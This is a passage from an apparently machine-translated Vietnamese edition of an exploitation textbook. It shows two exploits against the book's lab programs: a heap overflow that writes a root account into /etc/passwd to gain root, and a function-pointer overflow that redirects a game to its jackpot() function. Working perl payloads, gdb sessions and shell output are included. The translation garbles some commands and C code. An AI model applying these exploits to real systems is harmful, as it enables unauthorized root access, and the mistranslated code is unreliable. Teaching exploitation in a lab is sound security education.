hệ thống sử dụng cùng một thuật toán băm một chiều để mã hóa bất kỳ văn bản
nào mà người dùng nhập làm mật khẩu. Cuối cùng, hệ thống so sánh hai hàm băm;
nếu chúng giống nhau, người dùng phải nhập đúng mật khẩu. Điều này cho phép sử
dụng mật khẩu để xác thực mà không yêu cầu mật khẩu phải được lưu trữ ở bất kỳ
đâu trên hệ thống.
Sử dụng một trong những hàm băm này trong trường mật khẩu sẽ làm cho mật
khẩu cho tài khoản là mật khẩu, bất kể giá trị salt được sử dụng. Dòng để thêm
vào /etc/passwd sẽ trông giống như thế này:
myroot:XXq2wKiyI43A2:0:0:tôi:/root:/bin/bash
Tuy nhiên, bản chất của lỗi tràn heap này sẽ không cho phép dòng chính xác
đó được ghi vào /etc/passwd, vì chuỗi phải kết thúc bằng /etc/passwd. Tuy nhiên,
nếu tên tệp đó chỉ được thêm vào cuối mục nhập, mục nhập tệp passwd sẽ không
chính xác. Điều này có thể được khắc phục bằng cách sử dụng liên kết tệp tượng
trưng một cách thông minh, do đó mục nhập có thể kết thúc bằng /etc/passwd và
vẫn là một dòng hợp lệ trong tệp mật khẩu. Sau đây là cách thức hoạt động:
reader@hacking:~/booksrc $ mkdir /tmp/etc
reader@hacking:~/booksrc $ ln -s /bin/bash /tmp/etc/passwd
reader@hacking:~/booksrc $ ls -l /tmp/etc/passwd
lrwxrwxrwx 1 reader reader 9 2007-09-09 16:25 /tmp/etc/passwd -> /bin/bash
người đọc@hacking:~/booksrc $
Bây giờ /tmp/etc/passwd trỏ đến shell đăng nhập /bin/bash. Điều này có
nghĩa là shell đăng nhập hợp lệ cho tệp mật khẩu cũng là /tmp/etc/passwd, khiến
dòng sau trở thành dòng tệp mật khẩu hợp lệ:
myroot:XXq2wKiyI43A2:0:0:tôi:/root:/tmp/etc/passwd
Giá trị của dòng này chỉ cần được sửa đổi một chút để phần trước /etc/passwd
có độ dài chính xác là 104 byte:
người đọc@hacking:~/booksrc $ perl -e 'in "myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp"' | wc -c
38
reader@hacking:~/booksrc $ perl -e 'in "myroot:XXq2wKiyI43A2:0:0:" . "A"x50 . ":/root:/tmp"' | wc -c
86
người đọc@hacking:~/booksrc $ gdb -q
(gdb) trang 104 - 86 + 50
1 = 68
(gdb) thoát
reader@hacking:~/booksrc $ perl -e 'in "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 . ":/root:/tmp"'
| wc-c
104
người đọc@hacking:~/booksrc $
Nếu /etc/passwd được thêm vào cuối chuỗi cuối cùng đó (được in đậm), chuỗi
ở trên sẽ được thêm vào cuối tệp /etc/passwd. Và vì dòng này định nghĩa một tài
khoản có quyền root với mật khẩu mà chúng ta đã đặt, nên nó sẽ không
154 0x300
Machine Translated by Google
có thể khó truy cập vào tài khoản này và có được quyền truy cập root, như kết quả
sau đây cho thấy.
reader@hacking:~/booksrc $ ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 . ":/root:/tmp/etc/passwd"')
[GỠ LỖI] bộ đệm @ 0x804a008: 'myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd'
[DEBUG] tệp dữ liệu @ 0x804a070: '/etc/passwd'
[DEBUG] mô tả tập tin là 3
Ghi chú đã được lưu.
*** glibc đã phát hiện *** ./notetaker: free(): không hợp lệ kích thước tiếp theo (bình thường): 0x0804a008 ***
======== Theo dõi ngược: =========
/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]
/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]
./người ghi chép[0x8048916]
/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]
./người ghi chép[0x8048511]
======= Bản đồ bộ nhớ: ========
08048000-08049000 r-xp 00000000 00:0f 44384
/bò/nhà/người đọc/booksrc/người ghi chép
08049000-0804a000 rw-p 00000000 00:0f 44384
/bò/nhà/người đọc/booksrc/người ghi chép
0804a000-0806b000 rw-p 0804a000 00:00 0 b7d00000-
[đống]
b7d21000 rw-p b7d00000 00:00 0 b7d21000-b7e00000
---p b7d21000 00:00 0 b7e83000-b7e8e000 r-xp
00000000 07:00 15444 b7e8e000-b7e8f000 rw-p 0000a000
/rofs/lib/libgcc_s.so.1
07:00 15444 b7e99000-b7e9a000 rw-p b7e99000 00:00 0
/rofs/lib/libgcc_s.so.1
b7e9a000-b7fd5000 r-xp 00000000 07:00 15795
b7fd5000-b7fd6000 r--p 0013b000 07:00 15795 b7fd6000-
/rofs/lib/tls/i686/cmov/libc-2.5.so
b7fd8000 rw-p 0013c000 07:00 15795 b7fd8000-b7fdb000
/rofs/lib/tls/i686/cmov/libc-2.5.so
rw-p b7fd8000 00:00 0 b7fe4000-b7fe7000 rw-p b7fe4000
/rofs/lib/tls/i686/cmov/libc-2.5.so
00:00 0 b7fe7000-b8000000 r-xp 00000000 07:00
15421 b8000000-b8002000 rw-p 00019000 07:00
15421 bffeb000-c0000000 rw-p bffeb000 00:00 0 ffffe000-
/rofs/lib/ld-2.5.so
fffff000 r-xp 00000000 00:00 0 Đã hủy
/rofs/lib/ld-2.5.so
[chồng]
[video]
reader@hacking:~/booksrc $ tail /etc/passwd
avahi:x:105:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
cupsys:x:106:113::/home/cupsys:/bin/false
haldaemon:x:107:114:Lớp trừu tượng phần cứng,,,:/home/haldaemon:/bin/false
hplip:x:108:7:Người dùng hệ thống HPLIP,,,:/var/run/hplip:/bin/false
gdm:x:109:118:Trình quản lý hiển thị Gnome:/var/lib/gdm:/bin/false
matrix:x:500:500:Tài khoản người dùng:/home/matrix:/bin/bash
jose:x:501:501:Jose Ronnick:/nhà/jose:/bin/bash
người đọc:x:999:999:Hacker,,,:/home/người đọc:/bin/bash
?
myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/
gốc:/tmp/etc/passwd
reader@hacking:~/booksrc $ su myroot
Mật khẩu:
root@hacking:/home/reader/booksrc# whoami
gốc rễ
root@hacking:/home/reader/booksrc#
Khai thác 155
Machine Translated by Google
0x342 Con trỏ hàm tràn
Nếu bạn đã chơi đủ nhiều với chương trình game_of_chance.c, bạn sẽ nhận ra rằng, tương tự
như ở sòng bạc, hầu hết các trò chơi đều được cân nhắc về mặt thống kê có lợi cho nhà cái.
Điều này khiến việc thắng tín dụng trở nên khó khăn, bất kể bạn có may mắn đến đâu. Có lẽ
có một cách để cân bằng tỷ lệ cược một chút. Chương trình này sử dụng một con trỏ hàm để
ghi nhớ trò chơi cuối cùng đã chơi. Con trỏ này được lưu trữ trong cấu trúc người dùng ,
được khai báo là một biến toàn cục. Điều này có nghĩa là toàn bộ bộ nhớ cho cấu trúc người
dùng được phân bổ trong phân đoạn bss.
Từ game_of_chance.c
// Cấu trúc người dùng tùy chỉnh để lưu trữ thông tin về người dùng
cấu trúc người dùng {
int uid;
tín chỉ int;
int điểm cao;
tên ký tự[100];
int (*trò chơi hiện tại) ();
};
...
// Biến toàn cục
cấu trúc người dùng player;
// Cấu trúc người chơi
Bộ đệm tên trong cấu trúc người dùng có khả năng là nơi xảy ra lỗi tràn bộ đệm.
Bộ đệm này được thiết lập bởi hàm input_name() , được hiển thị bên dưới:
// Hàm này được sử dụng để nhập tên người chơi, vì // scanf("%s",
&whatever) sẽ dừng nhập ở khoảng trắng đầu tiên.
void input_name() {
char *name_ptr, input_char='\n';
trong khi(input_char == '\n')
// Xóa mọi ký tự còn sót
lại scanf("%c", &input_char); // ký tự xuống dòng.
name_ptr = (char *) &(player.name); // name_ptr = địa chỉ của tên người chơi
while(input_char != '\n') { // Lặp cho đến khi xuống dòng.
*name_ptr = input_char; // Đưa ký tự đầu vào vào trường name.
scanf("%c", &input_char); // Lấy ký tự tiếp theo.
name_ptr++; // Tăng con trỏ tên.
}
*name_ptr = 0; // Kết thúc chuỗi.
}
Hàm này chỉ dừng nhập tại ký tự xuống dòng. Không có gì giới hạn nó ở độ dài của bộ
đệm tên đích, nghĩa là có thể xảy ra tràn. Để tận dụng lợi thế của tràn, chúng ta cần làm
cho chương trình gọi con trỏ hàm sau khi nó bị ghi đè. Điều này xảy ra trong hàm
play_the_game() , được gọi khi bất kỳ trò chơi nào được chọn từ menu. Đoạn mã sau là một
phần của mã lựa chọn menu, được sử dụng để chọn và chơi trò chơi.
156 0x300
Machine Translated by Google
nếu((lựa chọn < 1) || (lựa chọn > 7))
printf("\n[!!] Số %d là lựa chọn không hợp lệ.\n\n", choice);
else if (lựa chọn < 4) { // Nếu không, lựa chọn là một trò chơi nào đó. if(lựa chọn !=
trò chơi cuối cùng) { // Nếu hàm ptr không được đặt, if(lựa chọn == 1) //
thì trỏ nó đến trò chơi đã chọn player.current_game = pick_a_number; else
if(lựa chọn == 2)
player.current_game = dealer_no_match; nếu không
player.current_game = find_the_ace; last_game
= choice; // và thiết lập last_game.
} play_the_game(); // Chơi trò chơi.
}
Nếu last_game không giống với lựa chọn hiện tại, con trỏ hàm của
current_game sẽ được thay đổi thành trò chơi phù hợp. Điều này có nghĩa là
để chương trình gọi con trỏ hàm mà không ghi đè lên nó, trước tiên phải
chơi một trò chơi để đặt biến last_game .
reader@hacking:~/booksrc $ ./game_of_chance -=[ Menu
Game of Chance ]=- 1 - Chơi trò
chơi Chọn số 2 - Chơi trò chơi Không có
người chia bài 3 - Chơi trò chơi Tìm quân
Át 4 - Xem điểm cao hiện tại 5 - Đổi
tên người dùng 6 - Đặt lại tài
khoản của bạn khi có 100 tín
dụng 7 - Thoát [Tên: Jon Erickson]
[Bạn có 70 điểm tín dụng] -> 1
[DEBUG] con trỏ current_game @ 0x08048fde
####### Chọn một số ######
Trò chơi này tốn 10 tín dụng để chơi. Chỉ cần chọn một số từ 1 đến 20,
và nếu bạn chọn đúng số, bạn sẽ thắng giải độc đắc 100 tín dụng!
10 tín chỉ đã được khấu trừ khỏi tài khoản của bạn.
Chọn một số từ 1 đến 20: 5 Số trúng thưởng
là 17 Rất tiếc, bạn đã không
thắng.
Bây giờ bạn có 60 tín chỉ
Bạn có muốn chơi lại không? (y/n) n -=[ Menu
Game of Chance ]=- 1 - Chơi trò
chơi Pick a Number 2 - Chơi trò chơi No
Match Dealer 3 - Chơi trò chơi Find the
Ace 4 - Xem điểm cao hiện tại 5 - Đổi
tên người dùng 6 - Đặt lại tài
khoản của bạn ở mức 100 tín dụng
Khai thác 157
Machine Translated by Google
7 - Bỏ cuộc
[Tên: Jon Erickson]
[Bạn có 60 điểm tín dụng] ->
[1]+ Đã dừng
./trò chơi_may_mắn
reader@hacking:~/booksrc $
Bạn có thể tạm thời dừng tiến trình hiện tại bằng cách nhấn CTRL-Z. Tại
Lúc này, biến last_game đã được đặt thành 1, vì vậy lần tiếp theo chọn 1, con trỏ
hàm sẽ chỉ được gọi mà không thay đổi.
Quay lại shell, chúng ta tìm ra một bộ đệm tràn thích hợp, có thể sao chép và dán vào như một tên sau. Biên dịch lại mã nguồn với
các ký hiệu gỡ lỗi và sử dụng GDB để chạy chương trình với điểm dừng trên main() cho phép chúng ta khám phá bộ nhớ. Như đầu
ra bên dưới cho thấy, bộ đệm tên cách con trỏ current_game 100 byte trong cấu trúc người dùng.
người đọc@hacking:~/booksrc $ gcc -g game_of_chance.c
reader@hacking:~/booksrc $ gdb -q ./a.out Sử dụng
thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) ngắt chính
Điểm dừng 1 tại 0x8048813: tệp game_of_chance.c, dòng 41.
(gdb) chạy
Chương trình khởi động: /home/reader/booksrc/a.out
Điểm dừng 1, main () tại game_of_chance.c:41
41
srand(time(0)); // Gieo hạt ngẫu nhiên với thời gian hiện tại.
(gdb) p người chơi
$1 = {uid = 0, credits = 0, highscore = 0, name = '\0' <lặp lại 99 lần>, current_game = 0}
(gdb) x/x &tên người chơi
0x804b66c <người chơi+12>: 0x00000000
(gdb) x/x &player.current_game
0x804b6d0 <player+112>: 0x00000000
(gdb) trang 0x804b6d0 - 0x804b66c
2 = 100
(gdb) thoát
Chương trình đang chạy. Thoát ra luôn? (y hoặc n) y
người đọc@hacking:~/booksrc $
Sử dụng thông tin này, chúng ta có thể tạo một bộ đệm để tràn biến tên. Có thể
sao chép và dán thông tin này vào chương trình Game of Chance tương tác khi nó
được tiếp tục. Để quay lại quy trình bị tạm dừng, chỉ cần nhập fg, viết tắt của
foreground.
"BBBB"
. "\N"'
người đọc@hacking:~/booksrc $ perl -e 'in "A"x100 .
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAABBBB
người đọc@hacking:~/booksrc $ fg
./trò chơi_may_mắn
5
Thay đổi tên người dùng
158 0x300
Machine Translated by Google
Nhập tên mới của bạn: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Tên của bạn
đã được thay đổi.
-=[ Menu Trò chơi may rủi ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
7 - Bỏ cuộc
[Tên: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB]
[Bạn có 60 điểm tín dụng] -> 1
[DEBUG] con trỏ current_game @ 0x42424242
Lỗi phân đoạn
reader@hacking:~/booksrc $
Chọn tùy chọn menu 5 để thay đổi tên người dùng và dán vào bộ đệm tràn. Thao tác này sẽ ghi
đè con trỏ hàm bằng 0x42424242. Khi tùy chọn menu 1 được chọn lại, chương trình sẽ bị sập khi
cố gọi con trỏ hàm. Đây là bằng chứng cho thấy việc thực thi có thể được kiểm soát; bây giờ
tất cả những gì cần là một địa chỉ hợp lệ để chèn vào vị trí của BBBB.
Lệnh nm liệt kê các ký hiệu trong các tệp đối tượng. Lệnh này có thể được sử dụng để
tìm địa chỉ của nhiều hàm khác nhau trong một chương trình.
reader@hacking:~/booksrc $ nm game_of_chance 0804b508 d
_DYNAMIC 0804b5d4 d
_GLOBAL_OFFSET_TABLE_ 080496c4 R
_IO_stdin_used w
_Jv_RegisterClasses 0804b4f8
d __CTOR_END__ 0804b4f4 d
__CTOR_LIST__ 0804b500 d
__DTOR_END__ 0804b4fc d
__DTOR_LIST__ 0804a4f0 r
__FRAME_END__ 0804b504 d
__JCR_END__ 0804b504 d
__JCR_LIST__ 0804b630 A
__bss_start 0804b624 D
__data_start 08049670 t
__do_global_ctors_aux 08048610 t
__do_global_dtors_aux 0804b628 D
__dso_handle w __gmon_start__
08049669 T
__i686.get_pc_thunk.bx 0804b4f4 d
__init_array_end 0804b4f4 d
__init_array_start 080495f0 T
__libc_csu_fini 08049600 T
__libc_csu_init
Bạn __libc_start_main@@GLIBC_2.0
Khai thác 159
Machine Translated by Google
0804b630 A _edata
0804b6d4 A _end
080496a0 T _fini
080496c0 R _fp_hw
08048484 T _init
080485c0 T _start
080485e4 t call_gmon_start
U close@@GLIBC_2.0
0804b640 b completed.1
0804b624 W data_start
080490d1 T dealer_no_match
080486fc T dump
080486d1 T ec_malloc
U exit@@GLIBC_2.0
08048684 T fatal
080492bf T find_the_ace
08048650 t frame_dummy
080489cc T get_player_data
U getuid@@GLIBC_2.0
08048d97 T input_name
08048d70 T jackpot
08048803 T chính
U malloc@@GLIBC_2.0 U
mở@@GLIBC_2.0
0804b62c d p.0
U lỗi@@GLIBC_2.0
08048fde T chọn_số 08048f23
T chơi_trò_chơi 0804b660 B
người chơi 08048df8
T in_thẻ U inf@@GLIBC_2.0
U rand@@GLIBC_2.0 U
đọc@@GLIBC_2.0
08048aaf T
đăng_ký_người_chơi_mới U
quétf@@GLIBC_2.0
08048c72 T hiển_hiện_điểm_cao
U srand@@GLIBC_2.0 U
strcpy@@GLIBC_2.0 U
strncat@@GLIBC_2.0
08048e91 T take_wager
U time@@GLIBC_2.0
08048b72 T update_player_data
U write@@GLIBC_2.0
reader@hacking:~/booksrc $
Hàm jackpot() là mục tiêu tuyệt vời cho khai thác này. Mặc dù các trò chơi đưa
ra tỷ lệ cược khủng khiếp, nhưng nếu con trỏ hàm current_game được ghi đè cẩn thận
bằng địa chỉ của hàm jackpot() , bạn thậm chí không cần phải chơi trò chơi để giành
được tín dụng. Thay vào đó, hàm jackpot() sẽ chỉ được gọi trực tiếp, phân phối phần
thưởng là 100 tín dụng và nghiêng cán cân về phía người chơi.
Chương trình này lấy dữ liệu đầu vào từ đầu vào chuẩn. Các lựa chọn menu có
thể được lập trình trong một bộ đệm duy nhất được chuyển đến chuẩn của chương trình.
160 0x300
Machine Translated by Google
đầu vào. Những lựa chọn này sẽ được thực hiện như thể chúng được nhập. Ví
dụ sau sẽ chọn mục menu 1, thử đoán số 7, chọn n khi được yêu cầu chơi lại
và cuối cùng chọn mục menu 7 để thoát.
reader@hacking:~/booksrc $ perl -e 'print "1\n7\nn\n7\n"' | ./game_of_chance -=[ Menu Game of
Chance ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
7 - Bỏ cuộc
[Tên: Jon Erickson]
[Bạn có 60 điểm tín dụng] ->
[DEBUG] con trỏ current_game @ 0x08048fde
####### Chọn một số ######
Trò chơi này tốn 10 tín dụng để chơi. Chỉ cần chọn một số
giữa 1 và 20, và nếu bạn chọn được số trúng thưởng, bạn
sẽ trúng giải độc đắc 100 tín dụng!
10 tín chỉ đã được khấu trừ khỏi tài khoản của bạn.
Chọn một số từ 1 đến 20: Số trúng thưởng là 20
Rất tiếc, bạn đã không thắng.
Bây giờ bạn có 50 tín chỉ
Bạn có muốn chơi lại không? (y/n) -=[ Menu Game of Chance ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
7 - Bỏ cuộc
[Tên: Jon Erickson]
[Bạn có 50 điểm tín dụng] ->
Cảm ơn bạn đã chơi! Tạm biệt.
người đọc@hacking:~/booksrc $
Kỹ thuật này cũng có thể được sử dụng để viết mã mọi thứ cần thiết cho
việc khai thác. Dòng sau sẽ chơi trò Pick a Number một lần, sau đó đổi tên
người dùng thành 100 A theo sau là địa chỉ của jackpot()
hàm. Điều này sẽ tràn con trỏ hàm current_game , do đó khi trò chơi Chọn
số được chơi lại, hàm jackpot() sẽ được gọi trực tiếp.
reader@hacking:~/booksrc $ perl -e 'in "1\n5\nn\n5\n" . "A"x100 . "\x70\
x8d\x04\x08\n" . "1\nn\n" . "7\n"'
1
5
Khai thác
161
Machine Translated by Google
N
5
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA Đ?
1
N
7 reader@hacking:~/booksrc $ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x70\ x8d\x04\x08\n" . "1\nn\n" . "7\n"' | ./
game_of_chance -=[ Menu Game of Chance ]=- 1 - Chơi trò chơi Pick a Number 2 - Chơi
trò chơi No Match Dealer 3 - Chơi trò chơi
Find the Ace 4 - Xem điểm cao hiện tại 5 - Đổi
tên người dùng 6 - Đặt lại tài khoản của bạn ở mức
100 tín dụng 7 - Thoát [Tên: Jon Erickson]
[Bạn có 50 điểm tín dụng] ->
[DEBUG] con trỏ current_game @ 0x08048fde
####### Chọn một số ###### Trò chơi này
tốn 10 tín dụng để chơi. Chỉ cần chọn một số từ 1 đến 20, và nếu bạn chọn đúng số
trúng thưởng, bạn sẽ thắng giải độc đắc 100 tín dụng!
10 tín chỉ đã được khấu trừ khỏi tài khoản của bạn.
Chọn một số từ 1 đến 20: Số trúng thưởng là 15. Rất tiếc, bạn đã
không thắng.
Bây giờ bạn có 40 tín dụng Bạn
có muốn chơi lại không? (y/n) -=[ Menu Game of Chance ]=- 1 - Chơi trò Chọn số 2 - Chơi
trò Không có người chia bài 3 - Chơi trò
Tìm Át 4 - Xem điểm cao hiện tại 5 - Đổi tên
người dùng 6 - Đặt lại tài khoản của bạn
ở mức 100 tín dụng 7 - Thoát [Tên:
Jon Erickson]
[Bạn có 40 điểm tín dụng] ->
Đổi tên người dùng
Nhập tên mới của bạn: Tên của bạn đã được thay đổi.
-=[ Menu Trò chơi may rủi ]=- 1
- Chơi trò Chọn số 2 - Chơi trò Không
có người chia bài 3 - Chơi trò Tìm quân
Át 4 - Xem điểm cao hiện tại 5 - Đổi
tên người dùng 6 - Đặt lại tài
khoản của bạn khi có 100 tín
dụng 7 - Thoát [Tên:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Bạn có 40 điểm tín dụng] ->
162 0x300
Machine Translated by Google
[DEBUG] con trỏ current_game @ 0x08048d70 *+*+*+*+*+*
JACKPOT *+*+*+*+*+* Bạn đã trúng giải độc
đắc 100 tín dụng!
Bây giờ bạn có 140 tín dụng Bạn
có muốn chơi lại không? (y/n) -=[ Menu Game of Chance ]=- 1 - Chơi trò Chọn số 2 - Chơi
trò Không có người chia bài 3 - Chơi trò
Tìm Át 4 - Xem điểm cao hiện tại 5 - Đổi tên
người dùng 6 - Đặt lại tài khoản của bạn
ở mức 100 tín dụng 7 - Thoát [Tên:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Bạn có 140 điểm tín dụng] -> Cảm
ơn vì đã chơi! Tạm biệt.
reader@hacking:~/booksrc $
Sau khi xác nhận phương pháp này hiệu quả, bạn có thể mở rộng phương pháp này
để đạt được bất kỳ số tín chỉ nào.
reader@hacking:~/booksrc $ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\x70\ x8d\x04\x08\n" . "1\n" .
"y\n"x10 . "n\n5\nJon Erickson\n7\n"' | ./ game_of_chance -=[ Menu Game of Chance ]=- 1 Chơi trò chơi Chọn
số 2 - Chơi trò chơi Không có người
chia bài 3 - Chơi trò chơi Tìm quân Át 4 Xem điểm cao hiện tại 5 - Đổi tên người dùng
6 - Đặt lại tài khoản của bạn khi có 100
tín dụng 7 - Thoát [Tên: AAAAA ...?]
[Bạn có 140 điểm tín dụng] ->
[DEBUG] con trỏ current_game @ 0x08048fde
####### Chọn một số ######
Trò chơi này tốn 10 tín dụng để chơi. Chỉ cần chọn một số từ 1 đến 20, và nếu
bạn chọn đúng số, bạn sẽ thắng giải độc đắc 100 tín dụng!
10 tín chỉ đã được khấu trừ khỏi tài khoản của bạn.
Chọn một số từ 1 đến 20: Số trúng thưởng là 1. Rất tiếc, bạn đã không thắng.
Bây giờ bạn có 130 tín dụng Bạn
có muốn chơi lại không? (y/n) -=[ Menu Game of Chance ]=- 1 - Chơi trò chơi Pick a Number
2 - Chơi trò chơi No Match Dealer 3 - Chơi
trò chơi Find the Ace 4 - Xem điểm cao hiện
tại 5 - Đổi tên người dùng của bạn
Khai thác 163
Machine Translated by Google
6 - Đặt lại tài khoản của bạn khi đạt 100 tín
dụng 7 Thoát [Tên: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[Bạn có 130 điểm tín dụng] ->
Đổi tên người dùng
Nhập tên mới của bạn: Tên của bạn đã được thay đổi.
-=[ Menu Trò chơi may rủi ]=- 1 Chơi trò Chọn số 2 - Chơi trò Không có
người chia bài 3 - Chơi trò Tìm quân Át 4
- Xem điểm cao hiện tại 5 - Đổi tên
người dùng 6 - Đặt lại tài khoản
của bạn khi có 100 tín dụng 7 Thoát [Tên:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Bạn có 130 điểm tín dụng] -> [DEBUG]
con trỏ current_game @ 0x08048d70 *+*+*+*+*+* JACKPOT
*+*+*+*+*+*
Bạn đã trúng giải độc đắc 100 tín dụng!
Bây giờ bạn có 230 tín dụng
Bạn có muốn chơi lại không? (y/n)
[DEBUG] con trỏ current_game @ 0x08048d70 *+*+*+*+*+*
JACKPOT *+*+*+*+*+*
Bạn đã trúng giải độc đắc 100 tín dụng!
Bây giờ bạn có 330 tín dụng
Bạn có muốn chơi lại không? (y/n)
[DEBUG] con trỏ current_game @ 0x08048d70 *+*+*+*+*+*
JACKPOT *+*+*+*+*+*
Bạn đã trúng giải độc đắc 100 tín dụng!
Bây giờ bạn có 430 tín dụng
Bạn có muốn chơi lại không? (y/n)
[DEBUG] con trỏ current_game @ 0x08048d70 *+*+*+*+*+*
JACKPOT *+*+*+*+*+*
Bạn đã trúng giải độc đắc 100 tín dụng!
Bây giờ bạn có 530 tín dụng
Bạn có muốn chơi lại không? (y/n)
[DEBUG] con trỏ current_game @ 0x08048d70 *+*+*+*+*+*
JACKPOT *+*+*+*+*+*
Bạn đã trúng giải độc đắc 100 tín dụng!
Bây giờ bạn có 630 tín dụng
Bạn có muốn chơi lại không? (y/n)
[DEBUG] con trỏ current_game @ 0x08048d70 *+*+*+*+*+*
JACKPOT *+*+*+*+*+*
Bạn đã trúng giải độc đắc 100 tín dụng!
164 0x300
Machine Translated by Google
Bây giờ bạn có 730 tín dụng Bạn
có muốn chơi lại không? (y/n)
[DEBUG] con trỏ current_game @ 0x08048d70 *+*+*+*+*+*
JACKPOT *+*+*+*+*+* Bạn đã trúng giải độc
đắc 100 tín dụng!
Bây giờ bạn có 830 tín dụng Bạn
có muốn chơi lại không? (y/n)
[DEBUG] con trỏ current_game @ 0x08048d70 *+*+*+*+*+*
JACKPOT *+*+*+*+*+* Bạn đã trúng giải độc
đắc 100 tín dụng!
Bây giờ bạn có 930 tín dụng Bạn
có muốn chơi lại không? (y/n)
[DEBUG] con trỏ current_game @ 0x08048d70 *+*+*+*+*+*
JACKPOT *+*+*+*+*+* Bạn đã trúng giải độc
đắc 100 tín dụng!
Bây giờ bạn có 1030 tín dụng Bạn
có muốn chơi lại không? (y/n)
[DEBUG] con trỏ current_game @ 0x08048d70 *+*+*+*+*+*
JACKPOT *+*+*+*+*+* Bạn đã trúng giải độc
đắc 100 tín dụng!
Bây giờ bạn có 1130 tín dụng Bạn
có muốn chơi lại không? (y/n)
[DEBUG] con trỏ current_game @ 0x08048d70 *+*+*+*+*+*
JACKPOT *+*+*+*+*+* Bạn đã trúng giải độc
đắc 100 tín dụng!
Bây giờ bạn có 1230 tín dụng Bạn
có muốn chơi lại không? (y/n) -=[ Menu Game of Chance ]=- 1 - Chơi trò Chọn số 2 - Chơi
trò Không có người chia bài 3 - Chơi trò
Tìm Át 4 - Xem điểm cao hiện tại 5 - Đổi tên
người dùng 6 - Đặt lại tài khoản của bạn
ở mức 100 tín dụng 7 - Thoát [Tên:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Bạn có 1230 điểm tín dụng] -> Đổi
tên người dùng Nhập
tên mới của bạn: Tên của bạn đã được thay đổi.
-=[ Menu Trò chơi may rủi ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
7 - Bỏ cuộc
Khai thác 165
Machine Translated by Google
[Tên: Jon Erickson]
[Bạn có 1230 điểm tín dụng] ->
Cảm ơn bạn đã chơi! Tạm biệt.
người đọc@hacking:~/booksrc $
Như bạn có thể đã nhận thấy, chương trình này cũng chạy suid root.
Điều này có nghĩa là shellcode có thể được sử dụng để làm nhiều việc hơn là giành được tín dụng miễn
phí. Giống như tràn dựa trên ngăn xếp, shellcode có thể được lưu trữ trong một biến môi trường. Sau khi
xây dựng một bộ đệm khai thác phù hợp, bộ đệm được chuyển đến đầu vào chuẩn của game_of_chance. Lưu ý
đối số dấu gạch ngang theo sau bộ đệm khai thác trong lệnh cat. Điều này cho chương trình cat biết để
